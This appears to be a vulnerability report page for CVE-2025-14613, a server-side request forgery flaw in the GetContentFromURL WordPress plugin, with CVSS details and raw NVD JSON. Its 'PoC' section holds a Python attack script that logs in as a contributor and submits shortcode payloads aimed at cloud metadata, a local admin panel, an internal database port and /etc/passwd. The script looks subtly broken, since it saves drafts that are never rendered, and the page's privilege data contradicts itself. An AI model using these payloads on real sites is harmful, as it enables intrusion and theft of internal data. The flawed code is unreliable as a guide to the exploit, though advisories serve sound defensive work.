Security Vulnerability Report
中文
CVE-2025-14613 CVSS 7.2 HIGH

CVE-2025-14613

Published: 2026-01-14 06:15:53
Last Modified: 2026-04-15 00:35:42

Description

The GetContentFromURL plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0. This is due to the plugin using wp_remote_get() instead of wp_safe_remote_get() to fetch content from a user-supplied URL in the 'url' parameter of the [gcfu] shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GetContentFromURL plugin for WordPress <= 1.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14613 PoC - GetContentFromURL SSRF Exploitation # Authenticated attackers with Contributor-level access can exploit this SSRF import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" ATTACKER_URL = "http://attacker.com" LOGIN_URL = f"{TARGET_URL}/wp-login.php" POST_URL = f"{TARGET_URL}/wp-admin/post-new.php" def exploit_ssrf(): """Exploit SSRF via [gcfu] shortcode""" # Step 1: Login with Contributor account session = requests.Session() login_data = { 'log': 'contributor_username', 'pwd': 'contributor_password', 'wp-submit': 'Log In', 'redirect_to': POST_URL } session.post(LOGIN_URL, data=login_data) # Step 2: Create post with malicious SSRF payload # Scan internal services (e.g., AWS metadata at 169.254.169.254) ssrf_payloads = [ '[gcfu url="http://169.254.169.254/latest/meta-data/"]', # AWS metadata '[gcfu url="http://localhost/admin"]', # Local admin panel '[gcfu url="http://internal-database:3306/"]', # Internal DB port scan '[gcfu url="file:///etc/passwd"]', # Local file access ] for payload in ssrf_payloads: post_data = { 'post_title': 'SSRF Test Post', 'content': payload, 'post_status': 'draft', 'publish': 'Publish' } response = session.post(POST_URL, data=post_data) print(f"Payload sent: {payload}") print(f"Response status: {response.status_code}") if __name__ == "__main__": exploit_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14613", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:52.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GetContentFromURL plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0. This is due to the plugin using wp_remote_get() instead of wp_safe_remote_get() to fetch content from a user-supplied URL in the 'url' parameter of the [gcfu] shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}, {"lang": "es", "value": "El plugin GetContentFromURL para WordPress es vulnerable a falsificación de petición del lado del servidor en todas las versiones hasta la 1.0, inclusive. Esto se debe a que el plugin utiliza wp_remote_get() en lugar de wp_safe_remote_get() para obtener contenido de una URL proporcionada por el usuario en el parámetro 'url' del shortcode [gcfu]. Esto permite a los atacantes autenticados, con acceso de nivel Colaborador y superior, realizar peticiones web a ubicaciones arbitrarias originadas desde la aplicación web y puede utilizarse para consultar y modificar información de servicios internos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/getcontentfromurl/tags/1.0/classes/shortcode.class.php#L20", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/getcontentfromurl/trunk/classes/shortcode.class.php#L20", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b83db6c7-09af-4707-a96b-ee551f27e3b7?source=cve", "source": "[email protected]"}]}}